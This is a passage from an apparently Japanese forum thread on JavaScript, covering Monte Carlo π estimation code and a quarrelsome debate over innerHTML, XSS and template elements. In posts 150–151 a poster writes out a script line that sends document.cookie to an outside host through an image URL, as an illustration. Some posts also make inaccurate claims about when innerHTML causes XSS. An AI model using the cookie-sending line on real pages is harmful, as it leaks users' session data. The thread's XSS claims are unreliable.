arr.push([m, n]);
}

function crd() {
var rdm = arr[Math.floor(Math.random() * 1000000)];
return Math.pow(rdm[0], 2) + Math.pow(rdm[1], 2);
}

var j = 0;
for (i = 0; i < 100000; i++) {
if (crd() < 1000000) {
j++;
}
      }
      console.log("π≒" + j * 4 / 100000);
0086Name_Not_Found
垢版 |
2014/11/08(土) 20:30:25.30ID:???
>>81
初めから10201個の点の位置を決めている、というのがナンセンス
この時点で π の正確な値は出せない
極端な例で言うと、3x3の9個の点だと、中央の1点しか円の内側にないでしょ?

改善する方法は、点の位置を毎回ランダムに決めること
頑張れば100文字ぐらいでコード書けるよ
008770
垢版 |
2014/11/08(土) 20:31:19.43ID:knhGBN36
>>84
つまり、CSSOM 仕様準拠の実装なら
document.querySelector('span[style^="color: red;"], span[style*="; color: red;"]');
>>42の目的を達成できるわけか
勉強になった、ありがとう
0088Name_Not_Found
垢版 |
2014/11/08(土) 20:35:53.57ID:/Hj0O7lg
>>85
うーん、点の個数が少ないのかな?
0089Name_Not_Found
垢版 |
2014/11/08(土) 20:37:13.71ID:/Hj0O7lg
>>86
10201個じゃ少ないってこと?

これだと上手くいく

var arr = new Array();
var j=0;
function f(){
return Math.pow(Math.random(),2);
}
for(i=0;i<10000000;i++){
if(f()+f()<1){
j++;
}
}
document.write("π≒"+j*4/10000000);
009085
垢版 |
2014/11/08(土) 20:44:34.93ID:???
> var arr = new Array();
> for (m = -50; m < 51; m++) {
> for (n = -50; n < 50; n++) {
> arr.push([m, n]);
> }
> arr.push([m, n]);
> }

50と51の違いも気持ち悪いが、ここを変えても変化はなかった。
2番目のarr.pushも気持ち悪いが、arr.length = 10201で
ランダムの最大とも一致するから間違ってないだろう。

> for (i = 0; i < 100000; i++) {
この100000はサンプル数だろう。単純に10倍したら結果も10倍になった。
j * 4 / 100000 の 100000と同じであれば数が多ければなんでも良さそうだ。

で最期に怪しかったのが、
> if (crd() < 2500) {
2500という数字で2500というのは50 * 50 だが
これは51 * 50 = 2550ではないのかね?

と思って変えてみたら、それらしくなったぞw

相変わらず数学的な意味はさっぱりわからんが(笑)
コードの一貫性における違和感のみからバグ取りしてみた。
009186
垢版 |
2014/11/08(土) 20:46:12.07ID:???
>>89
そう、まさにそれ
0092Name_Not_Found
垢版 |
2014/11/08(土) 21:44:59.37ID:/Hj0O7lg
>>90
確かにその違和感は自分でも感じた
でも理論的には間違っていない・・・はず

円周率を求めると言う課題は89のコードでクリアしたから
あとは何故このコードが上手く動かないかだけ
すっきりしたい

半径50の円を描いていることになるから2500で
間違いないはずなんだけどな
少しそこんとこ突き詰めて考えてみるか
0093Name_Not_Found
垢版 |
2014/11/09(日) 00:14:46.45ID:???
3.1454ってなるじゃん。ただの誤差だよ
0094Name_Not_Found
垢版 |
2014/11/09(日) 00:41:50.23ID:BwBDaWrA
<<93
そうだな

こうしたら多少良くなったから
多分初期値が少なすぎたんだと思う

レス下さった皆さん有難う御座いました

var arr = new Array();
for (m = -500; m < 501; m++) {
for (n = -500; n < 500; n++) {
arr.push([m, n]);
}
arr.push([m, n]);
}

function crd() {
var rdm = arr[Math.floor(Math.random() * 1002001)];
return Math.pow(rdm[0], 2) + Math.pow(rdm[1], 2);
}

var j = 0;
for (i = 0; i < 100000; i++) {
if (crd() < 250000) {
j++;
}
}
document.write("π≒" + j * 4 / 100000);
0095Name_Not_Found
垢版 |
2014/11/09(日) 07:15:53.95ID:???
>>94
これ、ループでランダムに要素をとる意味が全くないぞ
まずはプログラミングじゃなくて数学の勉強しろ
0096Name_Not_Found
垢版 |
2014/11/09(日) 08:55:16.54ID:BwBDaWrA
>>95
こういうこと?


var j=0;
function f(){
return Math.pow(Math.random(),2);
}
for(i=0;i<10000000;i++){
if(f()+f()<1){
j++;
}
}
document.write("π≒"+j*4/10000000);
0097Name_Not_Found
垢版 |
2014/11/09(日) 09:10:59.68ID:BwBDaWrA
総当り法ってことかな
0098Name_Not_Found
垢版 |
2014/11/09(日) 11:32:27.96ID:???
いまだにinnerHTML使ってる奴見ると吐き気がする
0099Name_Not_Found
垢版 |
2014/11/09(日) 11:46:31.07ID:???
場合によると思うけどね
jQueryにも使われてるし、仕様に書かれているくらいだし
0100Name_Not_Found
垢版 |
2014/11/09(日) 11:54:41.53ID:???
意味不明
innerHTMLは普通に使っていいっていう結論が出たはずだが?
0102Name_Not_Found
垢版 |
2014/11/09(日) 12:19:35.74ID:???
>>100
なにいってんのjQueryもメインはremoveChildで消してるんだけど
0103Name_Not_Found
垢版 |
2014/11/09(日) 12:20:03.17ID:???
だいたいベンチ取ればinnerHTMLが猛烈に遅いのは分かることだろ
0104Name_Not_Found
垢版 |
2014/11/09(日) 12:21:07.15ID:???
適材適所
原理主義はアホ
っていう結論になったはずだが?
0105Name_Not_Found
垢版 |
2014/11/09(日) 12:22:53.36ID:???
適材適所ってなんだよ遅くて非効率なものを使う必要はねえんだよ
0106Name_Not_Found
垢版 |
2014/11/09(日) 12:36:22.89ID:1ma5/uRs
>>103
> だいたいベンチ取ればinnerHTMLが猛烈に遅いのは分かることだろ

速かったよ。

一見文字列を解釈する必要がある分時間がかかるから
不思議に思えるが、JavaScriptがネイティブでないのが原因。

innerHTMLだと、代入した後は
すべてネイティブで処理されるから早いが、

それと同等なことをネイティブでないJavaScriptでやると
1つずつオーバーヘッドが加わる。

あとさすがにブラウザ、HTMLテキストを解釈するのが仕事だけあって
相当チューニングされてる。
0107Name_Not_Found
垢版 |
2014/11/09(日) 12:50:16.73ID:???
一度に代入できるのに遅いわけないだろw
0108Name_Not_Found
垢版 |
2014/11/09(日) 13:01:20.25ID:???
>>103
遅くなるのは
innerHTML += string
を繰り返す場合だけだと思うが

これは前に挿入されたHTMLの構文解析を重複して繰り返す
ことに他ならない。遅くなるのは当然でベンチマークとして不公平

純粋な意味で innerHTML が劇的に遅いとされるベンチマーク結果はあるの?
0110Name_Not_Found
垢版 |
2014/11/09(日) 13:13:33.42ID:???
遅くないって逝ってた奴出てこいよ
0111Name_Not_Found
垢版 |
2014/11/09(日) 13:16:18.20ID:???
innerHTMLが敬遠されるのは速さじゃなくてXSS問題の方が大きいと思う
>>96がinnerHTMLを使ったコードだったら、>>07は吐き気を覚えるのだろう
0112Name_Not_Found
垢版 |
2014/11/09(日) 13:24:21.07ID:???
初心者がinnerHTMLが1番って結論を出したらそれがこのスレの総意のように扱うな
0113Name_Not_Found
垢版 |
2014/11/09(日) 13:25:08.17ID:???
innerHTML推し派はDOM XSSとか知らない
0114Name_Not_Found
垢版 |
2014/11/09(日) 13:27:46.52ID:???
両者の長所短所を知っている人ならば、どっちか片方だけがいいだなんて言わない
0115Name_Not_Found
垢版 |
2014/11/09(日) 13:30:44.00ID:???
いいえ、innerHTMLはデメリットしかない
0117Name_Not_Found
垢版 |
2014/11/09(日) 13:47:36.74ID:???
XSS問題はinnerHTMLが抱える根幹の問題
XSSの発生しない方法があるなら、セキュリティ意識の高い人はinnerHTML以外を選択する
XSSに目をつぶるとしても、textContent, TextNode#data, insertAdjacentHTML に言及されるべきなのだが、既に>101で語り尽くされてる
0118Name_Not_Found
垢版 |
2014/11/09(日) 13:55:02.75ID:???
>>116
DOM追加でinnerHTML使ったらXSSが発生するよ?
0119Name_Not_Found
垢版 |
2014/11/09(日) 13:59:37.37ID:???
< と > をエスケープすればいいだけじゃん
0120Name_Not_Found
垢版 |
2014/11/09(日) 14:09:39.57ID:???
appendChildがわざわざエスケープしてくれるのに手動でやるのか?
0121Name_Not_Found
垢版 |
2014/11/09(日) 14:24:33.49ID:???
おっと、appendChildがエスケープって語弊があるな
0122Name_Not_Found
垢版 |
2014/11/09(日) 14:44:10.78ID:???
手動ですればいいじゃん
innerHTMLの大きな問題点はXSSじゃない
0124Name_Not_Found
垢版 |
2014/11/09(日) 18:31:54.69ID:???
innerHTMLの問題はXSS以外にもあるが、既に>>101で議論されたので改めて議論する事もない
0125Name_Not_Found
垢版 |
2014/11/09(日) 18:33:06.53ID:DNSyM79S
>>118
> DOM追加でinnerHTML使ったらXSSが発生するよ?

なら、XSSが発生しないように
チェックすればいいだけじゃないの?
0126Name_Not_Found
垢版 |
2014/11/09(日) 18:39:55.90ID:???
>>125
テキストノード操作すればチェックする必要がない
故にチェックミスも発生しない
0127Name_Not_Found
垢版 |
2014/11/09(日) 18:42:15.67ID:???
>>125
テキストノード操作すればチェックする必要もない
0128Name_Not_Found
垢版 |
2014/11/09(日) 18:57:48.22ID:???
innerHTMLはXSSが問題だと言っている人は、innerHTMLを使ってはいけないっていう主張なの?
0129Name_Not_Found
垢版 |
2014/11/09(日) 19:00:47.42ID:???
遅くてDOMを壊す恐れがあるものを使う必要はない
0130Name_Not_Found
垢版 |
2014/11/09(日) 19:02:03.30ID:???
ふーんじゃあjQueryも使わないんだね
0131Name_Not_Found
垢版 |
2014/11/09(日) 19:06:20.18ID:???
jQueryを立てにして逃げんなよ
お前の言葉で反論どうぞチキン
0132Name_Not_Found
垢版 |
2014/11/09(日) 19:09:48.39ID:???
jQueryは使わないって言えばいいだけなのに、なんで煽るんだろうね
0133Name_Not_Found
垢版 |
2014/11/09(日) 19:17:04.33ID:???
自分の言葉で考えたことを述べましょう
0134Name_Not_Found
垢版 |
2014/11/09(日) 19:26:48.72ID:???
例えば elm に <p id="a" class="b" style="color:red;">test<b>test</b>test</p> を入れたいと思ったらどうします?
innerHTML なら一行で済みます。十分大きな利点です
このコードも innerHTML を使わずに書くというのなら、私の負けです。毎日仏壇に掲げて尊敬します
0135Name_Not_Found
垢版 |
2014/11/09(日) 19:27:46.54ID:???
基本的にjQueryでもinnerHTMLを利用しているAPIは使わない
使わなくて困ったことがない
0136Name_Not_Found
垢版 |
2014/11/09(日) 19:37:06.20ID:???
>>134
> 例えば elm に <p id="a" class="b" style="color:red;">test<b>test</b>test</p> を入れたいと思ったらどうします?
まず、JavaScriptコード内にコンテンツを埋め込むという設計があり得ないから、そういうコードがあるなら設計から見直す
HTML上に用意されているコンテンツをJavaScriptで改変するのが基本
外部コンテンツを利用する場合は XML, CSV, JSON 等の整形フォーマット化されたデータをJavaScriptで取得して一定規則に則った方法でHTML出力する
0137136
垢版 |
2014/11/09(日) 19:42:37.16ID:EDVOS3A9
これらを実装する時には innerHTML は使わない
createTextNode, createElement, appendChild 等のDOM操作を使う
0138134
垢版 |
2014/11/09(日) 20:07:11.50ID:???
確かに。言われてみればそうですね
innerHTMLを使うこと自体は問題ないけど、そもそも使う機会がないですし、使うような設計は見直すべきですね
大変失礼しました。今から仏壇に掲げてきます
0139Name_Not_Found
垢版 |
2014/11/09(日) 20:31:50.02ID:???
>>136
>XML, CSV, JSON 等の整形フォーマット化されたデータを

コード内に埋め込むかどうかは別として
HTML 自体も整形フォーマット化されたデータなので
外部から取得したHTMLデータをinnerHTMLで直接的に放り込むことは
ありだと思うよ
0140136
垢版 |
2014/11/09(日) 21:50:57.54ID:EDVOS3A9
>>139
> HTML 自体も整形フォーマット化されたデータなので
ここでいう整形フォーマットとはデータフォーマットを指し、次の効果を期待する
- 他のフォーマットに容易に変換できる
- JavaScriptで解析できる
- DOMとして再構築できる
例えば、2列のCSVフォーマットがあるなら、Excelで編集可能な上にJavaScriptからdl要素、table要素として出力可能だろう
データはシンプルでなければならないし、JavaScriptで出力する時に様々な形式で出力可能な事を期待する

HTMLは論理構造といわれるが、データ構造としては余計な要素が多すぎる
table要素は比較的データ構造として使えるが、2次元データなら CSV, JSON の方が容易に扱えるだろう
DOM操作前提ならXMLの方が拡張性が高い
0141Name_Not_Found
垢版 |
2014/11/09(日) 21:58:09.64ID:???
HTML Templatesが普及すれば万事解決
0142Name_Not_Found
垢版 |
2014/11/09(日) 22:15:30.68ID:EDVOS3A9
>>141
テンプレートHTMLは現状、JavaScriptでincludeするのは筋が悪い
もし、そういう意味で innerHTML を使用しているのならサーバサイドに任せるべきだ
0143Name_Not_Found
垢版 |
2014/11/09(日) 22:20:03.00ID:???
>>142
あ、HTML Templatesっていうのは、HTML5のtemplate要素のことね
0144Name_Not_Found
垢版 |
2014/11/09(日) 22:32:31.81ID:EDVOS3A9
>>143
なるほど、失礼した
http://www.html5rocks.com/ja/tutorials/webcomponents/template/
HTMLにコンテンツを持ってくるのは良いとして、この使い方ではHTMLとJavaScriptで依存関係が出来てしまって管理しづらいと思うのだが
そうするぐらいならJavaScript側でtemplateとなる要素ノードを生成して cloneNode で使いまわす方がシンプルで汎用性が高い
ついでにtemplate要素と innerHTML に関連性を見出せないのだが、どういう理屈で何が解決するのだろうか
0145Name_Not_Found
垢版 |
2014/11/09(日) 22:39:27.47ID:???
すまん俺は141や143でがあるが139ではない
0146Name_Not_Found
垢版 |
2014/11/09(日) 22:51:12.56ID:DNSyM79S
また意味もなくinnerHTMLはXSSが起きるって
言ってる奴いるのか?

XSSが起きる条件わかってないだろ。
外部から渡された任意のHTMLを処理するときだけだぞ。

ここまで言えば、まずありえない話だって気づくよな?
反論したいなら、具体的に起きる条件を書いて反論してくれよな。
0148Name_Not_Found
垢版 |
2014/11/09(日) 22:56:09.37ID:DNSyM79S
>>147
どんなデータが来るのかを
知ることが不可能なもののこと

例えばユーザーが入力するデータは
知ることが不可能。
0150Name_Not_Found
垢版 |
2014/11/09(日) 23:00:55.60ID:DNSyM79S
>>149
内部は自分で書いたコード

例えば、自分で、HTMLに
<script>document.write('http://example.com/?' + document.cookie')</scrpt>
って書いたら、cookieの内容が外部サイトに漏れて危険じゃないですか。

document.writeは危険です!っていう馬鹿はいないだろう?
0151Name_Not_Found
垢版 |
2014/11/09(日) 23:02:24.95ID:DNSyM79S
訂正

× <script>document.write('http://example.com/?' + document.cookie')</scrpt>
○ <script>document.write('<img src="http://example.com/?' + document.cookie' + '">")</scrpt>
0152Name_Not_Found
垢版 |
2014/11/09(日) 23:10:53.11ID:DNSyM79S
>>144
> HTMLにコンテンツを持ってくるのは良いとして、この使い方ではHTMLとJavaScriptで依存関係が出来てしまって管理しづらいと思うのだが

物による。

処理がJavaScriptだけで完結するようなものは、JavaScriptで生成して良い。
例えば、OKボタンだけのalertや、入力項目があるだけのconfirmの
代わりとなるダイアログライブラリとかね。

でも、任意のHTMLの内容をダイアログにだす。なんてものは
JavaScriptだけでできないので、こういうのはtemplate要素を使った方がいい。
というかそういうことをするためにtemplate要素がある。
「テンプレートの内容が引数になる場合」と考えればいい。

なお、外部から渡されるHTMLではない場合、
XSSは発生しないので、innerHTMLを使うとシンプルで分かりやすくなる。

> そうするぐらいならJavaScript側でtemplateとなる要素ノードを生成して cloneNode で使いまわす方がシンプルで汎用性が
つまり「JavaScript側でtemplateとなる要素ノードを生成」するときにHTMLで
var html = '<table><tr><td>なんとか</td></tr></table>'; みたいに書いて要素ノードを生成すると
わかりやすいだろう? これだけのものがたった一行で書けたしね。
0153Name_Not_Found
垢版 |
2014/11/09(日) 23:20:29.85ID:DNSyM79S
本質はHTML断片をHTMLに置きたいか
JavaScriptに置きたいかってことなんだよな。

HTMLに置きたいならば、template要素。
JavaScriptに置きたいならば、・・・ヒアドキュメントが欲しい。
工夫次第でヒアドキュメントっぽいことができるのは知ってるけどね。
0154136
垢版 |
2014/11/09(日) 23:33:25.23ID:EDVOS3A9
>>152
少なくとも私の運用法ではtemplate要素にメリットは感じなかった
既存のHTML改変ならtemplate要素を使う必要がないし、外部データからDOMを起こすならノード管理するほうが便利
innerHTML を利用したい場面は見つからなかった

> でも、任意のHTMLの内容をダイアログにだす。なんてものは
> JavaScriptだけでできないので、こういうのはtemplate要素を使った方がいい。
「ダイアログ」の定義が不明だが、HTMLで出来ているのならノード操作だけで十分に完結できる
後は元となるデータをどこから引っ張るかによるのだが、いずれにしてもデータを取得してDOMを構築する手法は何も変わらない
0155Name_Not_Found
垢版 |
2014/11/09(日) 23:37:15.63ID:DNSyM79S
> HTMLで出来ているのならノード操作だけで十分に完結できる

完結できるかどうかではなく、
重要なのはシンプルに完結できるかどうかだ。

その点が見えてないと、コードはムダに複雑になるばかりだぞ。
0156136
垢版 |
2014/11/09(日) 23:39:29.59ID:EDVOS3A9
>>153
> 本質はHTML断片をHTMLに置きたいか
> JavaScriptに置きたいかってことなんだよな。
私に言わせれば、そこは本質じゃない
そもそも、HTML断片で管理せず、データで管理する
HTMLはデータとしては余計な情報が多い
0157Name_Not_Found
垢版 |
2014/11/09(日) 23:42:00.54ID:DNSyM79S
>>156
今話をしているのは、データではない。

"単純にHTMLに変換するデータ" だ

データだけ書いてそれをHTMLに変換するなら
そんな無駄な作業は無くして直接HTMLを生成したほうが
わかりやすい。

反論したいなら、

var html = '<table><tr><td>なんとか</td></tr></table>'
任意の要素.innerHTML = html;

これをシンプルに書いて見せてみ。
0158136
垢版 |
2014/11/09(日) 23:46:17.30ID:EDVOS3A9
>>157
>>136の繰り返し
そんな設計にはしない
0159Name_Not_Found
垢版 |
2014/11/09(日) 23:47:25.99ID:DNSyM79S
>>158
なんで「俺はしない」が反論になると思ってんの?
お前がどうとか関係ねーよ。

innerHTMLをコードで書いたら
シンプルに出来ないだろう?
0160Name_Not_Found
垢版 |
2014/11/09(日) 23:54:59.86ID:EDVOS3A9
>>159
使う必要がないのだから使わない
やろうとしていることがナンセンスなのだから仕方ないだろう
例えば、「CSSを使わずに段組レイアウトしてみて、tableレイアウトでないと出来ないでしょ?」といっても誰も納得しないだろう
0161Name_Not_Found
垢版 |
2014/11/09(日) 23:59:08.50ID:DNSyM79S
>>168
たとえが意味不明。

JavaScriptでHTML(要素ノード)を生成するのが前提の話だろ?

> そうするぐらいならJavaScript側でtemplateとなる要素ノードを生成して
ほらそう書いてある。

わざわざグダグダなコード書いてHTMLを生成するなら
最初からHTMLを書いたほうが楽。
0162Name_Not_Found
垢版 |
2014/11/10(月) 00:02:01.29ID:???
レベルの違う者同士の不毛な言い争い
0163Name_Not_Found
垢版 |
2014/11/10(月) 00:08:07.72ID:vE07iE/R
仕方ないよ。template要素がなぜ必要とされて
作られたのか?も理解できてないんだから。

俺なんか、ウェブの新しい技術を聞くたびに
あー、やっとそれができたんだねって
思うぐらいなんだから。


出来てから、それが必要とされた理由を理解する者と
必要な理由がわかっていて、出来るのを待ってる者の違いさ。
0164Name_Not_Found
垢版 |
2014/11/10(月) 00:15:22.25ID:???
>>159
シンプルに書けるかどうかはパフォーマンスとは全く関係ないよね
0165136
垢版 |
2014/11/10(月) 00:16:26.51ID:9HdTHaj2
よくある間違いとしてはJavaScriptで何でもかんでも要素を生成して出力するやり方
まず、JavaScriptがなくても動作するようにするのが前提としてあるので、JavaScriptで後付する機能の為のコンテンツはHTMLに用意してある場合がほとんど
その場合は既存DOMから必要なデータを抽出してDOMを再構築するだけでいい
あくまで再構築なので innerHTML で上書きせず、ノード管理で変更箇所は最小限に抑える

データがHTML上に存在しないなら外部データを利用することになる
例えば、二次元データをtable出力したい場合はCSVファイルをJavaScriptでパースし、table要素ノードを生成してappendChildする
こうすることでCSVファイルを編集すれば出力されるtable要素にも反映されるようになる
JavaScriptのコードを書き換えれば、table要素でなく、別の要素にする事も出来るし、出力する形式は自由に変更できる
<table> を innerHTML で出力しても実現できるが、csvファイルを基にした方がデータを容易に編集可能だし、csvファイルはシンプルなフォーマットなので別のフォーマットにも容易に変換できる

CSVのパースが複雑だとか、DOMでcreateElementが面倒くさい、とかは大した問題じゃない
データは可搬性が高い方が良いし、データからDOMへの変換処理は安全性/汎用性が高い方が良い
汎用性が高ければ高い程、出力されるDOMの自由度が上がる
保守性、管理性、拡張性もろもろを考えるとHTML断片を扱うよりシンプルなデータから扱ったほうが合理的

>>162
忠告ありがとう
この辺にしておく
0166Name_Not_Found
垢版 |
2014/11/10(月) 00:24:04.20ID:vE07iE/R
>>164
> シンプルに書けるかどうかはパフォーマンスとは全く関係ないよね

innerHTMLだと、シンプルかつパフォーマンスがいいからね。
確かにシンプルとパフォーマンスは全く関係ないけど
0167Name_Not_Found
垢版 |
2014/11/10(月) 00:25:02.54ID:vE07iE/R
>>165
えっと、JavaScript製のテンプレートエンジンの
存在意義もわからない?

そっかぁ。その程度のレベルなんだね。
0168Name_Not_Found
垢版 |
2014/11/10(月) 00:28:40.75ID:???
下らない煽りが多くてうんざり
IDが出ているだけマシか
0169Name_Not_Found
垢版 |
2014/11/10(月) 00:32:39.34ID:vE07iE/R
ID出しておくと便利で、うざいやつからの反論が無くなるんだよね。

だからワンサイドゲームになるw
0170Name_Not_Found
垢版 |
2014/11/10(月) 00:36:20.86ID:???
彼は自己愛性パーソナリティ障害に該当するように見えた
内向的な人は大なり小なりその傾向があるが、流石に酷いな
0171Name_Not_Found
垢版 |
2014/11/10(月) 00:40:20.15ID:???
× 反論が無くなる
○ 呆れて無視される
0172Name_Not_Found
垢版 |
2014/11/10(月) 00:52:01.97ID:???
>>166
逆、innerHTMLのパフォーマンスはよくない
0173Name_Not_Found
垢版 |
2014/11/10(月) 00:58:02.62ID:vE07iE/R
>>171
無視でもなんでもいいわw

言い返さないのなら結構。
それが他の人にどう見えるかが重要なのだから。
0174Name_Not_Found
垢版 |
2014/11/10(月) 01:01:07.36ID:vE07iE/R
>>172
じゃあ、パフォーマンスについてはそれでいいよ。

それで本題。シンプルかどうかで言えば、
シンプルだろ?
0175Name_Not_Found
垢版 |
2014/11/10(月) 01:02:23.81ID:???
議論スレではないのだが…
どのスクリプトエンジンのどのリリースのことなのやら
0176Name_Not_Found
垢版 |
2014/11/10(月) 01:23:24.12ID:???
> それが他の人にどう見えるかが重要なのだから。
最後まで残った人が正しいように見える、と思ってるんだろうな
ID:vE07iE/R を読み返してもそう思えるなら重症
0177Name_Not_Found
垢版 |
2014/11/10(月) 01:24:16.93ID:vE07iE/R
>>176
誰もあんたの意見なんて聞いてないんだよ。
0178Name_Not_Found
垢版 |
2014/11/10(月) 01:25:11.56ID:???
大丈夫
誰も ID:vE07iE/R の意見を聞いてないから、気にするな
0179Name_Not_Found
垢版 |
2014/11/10(月) 01:26:52.27ID:vE07iE/R
気にしてるからレスしてんだろw
嫌ならなんで無視できないのか?

もちろん気にしているならレスしても
構わないがねw
0180Name_Not_Found
垢版 |
2014/11/10(月) 01:36:14.97ID:vE07iE/R
>>165
template要素を使うよくある例がAjaxだね。

Ajaxを使ってデータだけ取ってくる。
そのデータを元にHTMLを生成する。

当然ながらAjaxを使う以上、JavaScriptを使うことになる。
それを加工して表示する。

例えばテーブルのHTMLの一部を加工するなど。
そういった時、JavaScriptは加工するということは知っていても
どのようなマークアップにするかはHTMLしだい。

テーブルの ”一部" ということから推測できるように
その他の部分はHTMLで書かれており、それはJavaScriptはしらない。
どういったマークアップにするかはHTMLできめることなので、
HTMLにテンプレートとして用意しておき、JavaScriptでは
その一部だけ値を入れ込む。

これにより、HTMLとJavaScriptが綺麗に分離される。
0181Name_Not_Found
垢版 |
2014/11/10(月) 01:43:36.62ID:vE07iE/R
CSVデータからテーブルを生成する話も同じ。

<table>
 <tr><td>name1</td><td>value1</td></tr>
 <tr><td>name2</td><td>value2</td></tr>
 <tr><td>name3</td><td>value3</td></tr>
</table>

こういうものをDOM命令で作るのは馬鹿らしい。
createElementでtableを作ってtrを作ってtdを作ってappendして。
何をやってるのかさっぱりわからなくなる。

更にtableやtrやtdに属性を付けられるようにしたいとかなると、
テーブルを生成する命令に、いろんなパラメータを渡さなくければいけなくなる。
デザイナーが「このtableにとあるclassを付けたいんですけど」って言ったら
JavaScriptを修正しなくてはいけなくなる。

HTMLとJavaScriptが密接に結合してしまってるからね。

こういう時はテンプレートを使って、デザイナーが作成したHTMLの断片に
JavaScriptはプレースホルダに値を埋めるだけにするとシンプルに書くことが出来る。
もちろんHTMLだから自由にclassを設定したり出来る。
0182Name_Not_Found
垢版 |
2014/11/10(月) 01:45:42.59ID:vE07iE/R
>>165
> JavaScriptのコードを書き換えれば、table要素でなく、別の要素にする事も出来るし、

なんて言ってるけど、よく見ればわかるよね。
JavaScriptのコードを書き換える必要があるって書いてある。


テンプレートを使うと、JavaScriptとHTMLは完全に分離されているから、
JavaScriptを一切変更しなくても、table要素ではなく、別の要素にすることも出来る。

HTML、つまりマークアップを書く人が、自分の好み通りの
マークアップを書くことが出来る。これが分離というもの。
0183Name_Not_Found
垢版 |
2014/11/10(月) 01:54:07.33ID:???
>>181
> createElementでtableを作ってtrを作ってtdを作ってappendして。
> 何をやってるのかさっぱりわからなくなる。
この程度でわからなくなるレベルか
0184Name_Not_Found
垢版 |
2014/11/10(月) 01:59:00.69ID:???
innetHTMLの話はどこへいった?
都合が悪くなってtemplate要素に鞍替えか?
0185Name_Not_Found
垢版 |
2014/11/10(月) 02:15:10.40ID:???
>>182
よくわかんないんだけど、HTMLのコーダーでJavaScriptを知らない人っているの?
そもそも、表示を変えたければ、HTMLだろうがJavaScriptだろうが、
何かしらか変更しなきゃいけないんだから、
そんなのはプロジェクトのコーディング基準で決めればいいだけの話しで、
勝手に好みでコーダーがいじったら大問題だとおもうが。
0186Name_Not_Found
垢版 |
2014/11/10(月) 03:22:24.65ID:???
innerHTMLってevalのDOM版のようなものだよなw
evalをどのような場面で使うかというのと似たようなものw
0187Name_Not_Found
垢版 |
2014/11/10(月) 04:05:51.10ID:???
>>185
コーダーって、HTML,CSSだけでしょ?
JavaScriptはプログラマーだよ

JSのクラスは、一般的な静的に派生させるクラスではなく、
動的なプロトタイプ型のクラス

こんなややこしいものを、
簡単にプログラミングできないでしょ?

変数に、var を付けずに、また、"use strict"も付けずに、
プログラムしている人も多いんじゃないの?
0188Name_Not_Found
垢版 |
2014/11/10(月) 08:37:20.32ID:???
>>187
JavaScriptプログラマならブロトタイプを理解できて当然
ただし、table操作にブロトタイプを理解する必要はない
Strict Modeも全く関係ない
0189Name_Not_Found
垢版 |
2014/11/10(月) 10:52:16.36ID:???
最新のjQueryのソース見たけど、初期化の時点でinnerHTMLが5回使われてるね
どのAPIを使うかなんて関係なく、innerHTMLを否応なく使わされているわけだ
0190Name_Not_Found
垢版 |
2014/11/10(月) 11:45:59.51ID:???
jQueryが使われてれば安全なの?
0191189
垢版 |
2014/11/10(月) 11:49:17.09ID:???
いや、innerHTMLを毛嫌いしている人がいるみたいだから教えてあげただけだ
0192Name_Not_Found
垢版 |
2014/11/10(月) 11:50:26.54ID:???
ここでの話とjQueryで使われているのは何か関係あるの?
0193189
垢版 |
2014/11/10(月) 11:52:09.54ID:???
>>135で誤ったことを言っているから正しいことを言っただけだ
自分に関係ないのなら俺のレスは無視していい
0194Name_Not_Found
垢版 |
2014/11/10(月) 11:53:27.70ID:???
まさかjquery使っていてinnnerHTML否定してる奴はいないよな?
0195Name_Not_Found
垢版 |
2014/11/10(月) 12:07:08.59ID:???
jQueryが使ってるからinnerHTMLを使っていいという理屈はからは何の知見も生まれないことに気付こうな
0196189
垢版 |
2014/11/10(月) 12:17:00.14ID:???
>>195
俺はそんなこと言ってないってw
innerHTMLが嫌いな人でjQueryを使っている人がいた(>>135)から教えただけ
もし他にもそういう人がいたら、jQueryを使うのをやめるか、あるいは自分で書き換えるといいと思う
0197Name_Not_Found
垢版 |
2014/11/10(月) 12:58:41.45ID:???
innerHTML使わない(キリッ

でもjqueryは使ってる←低脳w
0198Name_Not_Found
垢版 |
2014/11/10(月) 13:34:42.97ID:???
その個人攻撃には何の生産性も感じられないからいい加減に自重しろ
0199Name_Not_Found
垢版 |
2014/11/10(月) 13:38:28.77ID:???
jQuery使ってるのにinnerHTML否定した馬鹿が顔真っ赤になって必死だな
0200Name_Not_Found
垢版 |
2014/11/10(月) 13:59:44.35ID:???
率直にいってjQueryには好ましくない実装が結構あるからねえ
innerHTMLに限らず、使う必要性はあまり感じないね
便利なプラグインがあって自分で作る手間を省きたい時に使うぐらいかな
大抵自分で作ろうとするし、jQueryがなくても困らないだろうね

「どうせおまえもjQueryがなかったら困るんだろ?」はただの思考停止の信者発言だし、問題の本質から論点をずらして逃げてるだけ
まともな議論にもなりそうにないね
0201Name_Not_Found
垢版 |
2014/11/10(月) 15:11:10.74ID:???
jQueryが2つ以上のファイル構成なら多くの人が使ってなかっただろう
0202Name_Not_Found
垢版 |
2014/11/10(月) 15:59:32.97ID:???
スタンスの問題では?
コード記述の便利さを取るか、コード実行の最適化を図るか
0203Name_Not_Found
垢版 |
2014/11/10(月) 20:13:53.72ID:???
innerHTMLを毛嫌いするのに正当な理由がないから
jQueryで使っていても何の問題もないんだが。

明日太陽が昇らないかもって
心配しているようなもん。
0204Name_Not_Found
垢版 |
2014/11/10(月) 20:15:19.99ID:???
うーん? innerHTMLを根拠なく否定しているやつが
馬鹿というのが大前提なんだが、それわかってる?
そこから説明しないといかんの?

innerHTMLを否定する理由はないという
コンセンサスは得られているかな?
0206Name_Not_Found
垢版 |
2014/11/10(月) 20:37:11.00ID:???
>>205
スタンスで間違ってないと思うけど、衝突の原因はそこじゃないんだよね
相手を打ち負かす目的で発言している人とは論理的に議論できる気がしないよ
0207Name_Not_Found
垢版 |
2014/11/10(月) 21:03:59.13ID:???
うちの上司は、すぐに、エビデンス!とかフィージビリティ!とか逆に!とか言う。
と思っていたら、気が付いたら自分も言うようになってた。
0208Name_Not_Found
垢版 |
2014/11/10(月) 21:19:24.57ID:???
>>207
「逆に!」だけ別次元の何かを感じさせるな
0210Name_Not_Found
垢版 |
2014/11/10(月) 21:21:38.97ID:???
innerHTMLはDOMを壊す恐れがあるから使うなっ!
0211Name_Not_Found
垢版 |
2014/11/10(月) 21:25:37.65ID:???
innerHTMLを使ったらダメという根拠は、
代入するHTMLに<script>タグが含まれていたらXSSが起きるから

逆に言えば、innerHTMLに<script>タグが含まれることがないと
保証されているなら使っていい。

ここまでは同意とれてるよね?
0212Name_Not_Found
垢版 |
2014/11/10(月) 21:29:17.83ID:???
innerHTMLはevalと一緒。
だからevalは使ってはならない。

Googleのスタイルガイドでも
